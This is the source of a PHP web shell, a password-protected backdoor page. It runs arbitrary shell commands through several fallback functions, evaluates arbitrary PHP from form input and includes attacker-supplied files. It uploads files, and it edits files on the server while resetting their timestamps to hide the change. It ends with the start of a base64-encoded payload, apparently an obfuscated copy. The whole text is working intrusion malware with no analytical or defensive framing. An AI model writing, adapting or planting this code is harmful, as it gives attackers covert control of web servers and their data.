  @ini_set('upload_max_filesize',10485760);
  @ini_set('post_max_size',10485760);
  @ini_set('file_uploads', true);
  @ini_set('display_errors',true);
  @ini_set('register_globals',true);
  @ini_set('register_long_arrays',true);
  @ini_set('max_execution_time',false);
  @ini_set('output_buffering',false);
  @ini_set('allow_url_fopen',true);
  $safemode=@ini_get('safe_mode');

  $magic_quotes=1;
  if (function_exists('get_magic_quotes_gpc')) $magic_quotes=get_magic_quotes_gpc();

  $phpver = str_replace('.','',phpversion());
  if (strlen($phpver)<3) while (strlen($phpver)<3) $phpver.='0';
  if(intval($phpver) < 410){
    $_POST=&$HTTP_POST_VARS;
    $_GET=&$HTTP_GET_VARS;
    $_SERVER=&$HTTP_SERVER_VARS;
    $_COOKIE=&$HTTP_COOKIE_VARS;
    $_FILES=&$HTTP_POST_FILES;
  }
  @ob_end_clean();

  $pw_pls="<form method=post><input type=text name=pw></form>";

  if (empty($_POST['pw'])) exit($pw_pls);
  if (!empty($_POST['pw']) && md5($_POST['pw'])!='a5dc497c9784a67b0ae8503c9ea4c74f') exit($pw_pls);

  $pw="<input type=hidden name=pw value='".htmlspecialchars($_POST['pw'])."'>";

  if (!empty($_POST['usemodule'])) include($_POST['usemodule']);

  $work_dir = getcwd();
  if (strpos($work_dir,"\\")!==false) $work_dir=str_replace("\\","/",$work_dir);
  if (strpos(substr($work_dir,0,5),":")!==false) $os="win";
  else $os="nix";
  if (!empty($_POST['cd'])) $cd=stripslashes($_POST['cd']);
  else $cd = $work_dir;

  if (is_dir($cd)) chdir($cd);

  $run=($magic_quotes)?stripslashes($_POST['run']):$_POST['run'];
  $edit=stripslashes($_POST['edit']);
  if (!@is_file($edit)) $edit=$cd;

  if (!empty($_POST['eval'])) eval(($magic_quotes)?stripslashes($_POST['eval']):$_POST['eval']);

  if (!empty($_FILES['userfile']['tmp_name']) && is_uploaded_file($_FILES['userfile']['tmp_name'])) {
    $uploaddir = ereg_replace('/+', '/', $cd."/");
    $uploadfile = $uploaddir.basename($_FILES['userfile']['name']);
    move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
  }

  if (isset($_POST['save'])) {
 if ($magic_quotes) $console = stripslashes($_POST['console']);
 else $console = $_POST['console'];
    $time = filemtime($edit);
    $f=@fopen($edit,"w");
    if ($f) {
      fwrite($f,$console);
      fclose($f);
      touch($edit,$time);
      $edit=$cd;
    }
  }

  if (!empty($edit) && file_exists($edit) && is_file($edit) && $edit!==$cd) {
 if ($os=='win'?can_write($edit):is_writable($edit)) $need_save_button=true;
    $f=@fopen($edit,"r");
    if ($f) {
      if (filesize($edit)>0) $retval = @fread($f,filesize($edit));
      else $retval = "[empty]";
      fclose($f);
    } else {
      $retval = "Can't open file: $edit\n";
    }
  } elseif (!empty($run)) {
    $cmd = $run;
    $retval = magic_execute($cmd);
  } elseif (file_exists($cd) && @is_dir($cd)) {

 if (!$safemode)
 {
  if ($os=='win')
  {

    $cmd = "dir ".str_replace("/","\\",$cd);
    $retval = magic_execute($cmd);
  }
     else
  {
    $cmd = "ls -la \"$cd\"";
    $retval = magic_execute($cmd);
  }
 }

    if (empty($retval))
 {
  $dir=$cd;
  if($curdir = @opendir($dir)) {
  while($file = readdir($curdir)) {
    if($file != '.' && $file != '..') {
   $srcfile = $dir . '/' . $file;
   if(is_file($srcfile)) {
    if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "++ ".$file."\n";
    else $retval .= "-- ".$file."\n";
   } elseif(is_dir($srcfile)) {
    if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "d+ ".$file."\n";
    else $retval .= "d- ".$file."\n";
   }
    }
  }
  closedir($curdir);
  } else $retval = "Cant open directory\n";
 }


  }

 $id_exec = "cant get uid,gid";

 if ($tmp = magic_execute("id")) $id_exec = $tmp;
 elseif (function_exists('posix_getgid'))
 {
  $uids  = @posix_getlogin();
  $euids = @posix_getlogin();
  $uid   = @posix_getuid();
  $euid  = @posix_geteuid();
  $gid   = @posix_getgid();
  if (!empty($uid)) $id_exec = "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)";
 }

  echo '<HTML><BODY onload="document.getElementById(\'cdfocus\').focus();"><HR>';
  echo date("d.m.Y h:i A")." OS:$os $id_exec safe_mode=$safemode";
  echo "<HR>";
  if (isset($need_save_button)) echo "<FORM method=post>";
  echo '<TEXTAREA id="console" name="console" style="width:100%;height:400px;">';
  if (isset($retval)) echo htmlspecialchars($retval);
  echo '</TEXTAREA>';
  if (isset($need_save_button)) echo "$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><INPUT type='hidden' name='edit' value='".htmlspecialchars($edit)."'><INPUT type=submit name=save value='Save'></FORM>";
  echo "<HR><FORM method=\"POST\">$pw";
  echo "<table><tr><td>dir:</td><td width=\"100%\"><input type=\"text\" style=\"width:100%;\" id=\"cdfocus\" name=\"cd\" value=\"".htmlspecialchars($cd)."\"></td></tr>".
       "<tr><td>run:</td><td><input type=\"text\" style=\"width:100%;\" name=\"run\" value=\"\"></td></tr>".
       "<tr><td>edit:</td><td><input type=\"text\" style=\"width:100%;\" name=\"edit\" value=\"".htmlspecialchars($edit)."\"></td></tr>".
       "</table>".
       "<input type=\"submit\" value=\"OK\"></FORM>";

  echo "<hr><form enctype=\"multipart/form-data\" method=\"post\">$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"15000000\" />upload: <input name=\"userfile\" type=\"file\" /><input type=\"submit\" value=\"upload\" /></form><hr>";
  echo "<form method=post>$pw<textarea style=\"width:100%;height:100px;\"  name='eval' id='eval'>phpinfo();</textarea><input type=submit value='EvalPHP'></form><hr>";
  echo "use module: <form method=post>$pw<input type='text' name='usemodule'> <input type=submit value='use'></form><hr>";
  echo "</BODY></HTML>";

  exit();


  function can_write($file) {if(file_exists($file)){if (is_file($file)) {$f=@fopen($file,"a+");if($f){fclose($f);return true;}}elseif (is_dir($file)) {if ($file[strlen($file)-1]!='/') $file.='/';$tfile = $file."testxxxtest";if (@touch($tfile)){unlink($tfile);return true;}}}return false;}

 function magic_execute($cmd)
 {
  $res=false;
  if (function_exists('exec'))
  {
   @exec($cmd,$res);
   $res = join("\n",$res);
  }
  else
  if (function_exists('shell_exec'))
   $res = @shell_exec($cmd);
  else
  if (function_exists('system'))
  {
   @ob_start();
   @system($cmd);
   $res = @ob_get_contents();
   @ob_end_clean();
  }
  else
  if(function_exists('passthru'))
  {
   @ob_start();
   @passthru($cmd);
   $res = @ob_get_contents();
   @ob_end_clean();
  }
  else
  if (@is_resource($f = @popen($cmd,"r")))
  {
   $res = "";
   while(!@feof($f)) { $res .= @fread($f,1024); }
   @pclose($f);
  }
  return $res;
 }


/**/
?>

<?php


$str = base64_decode('DQogIEB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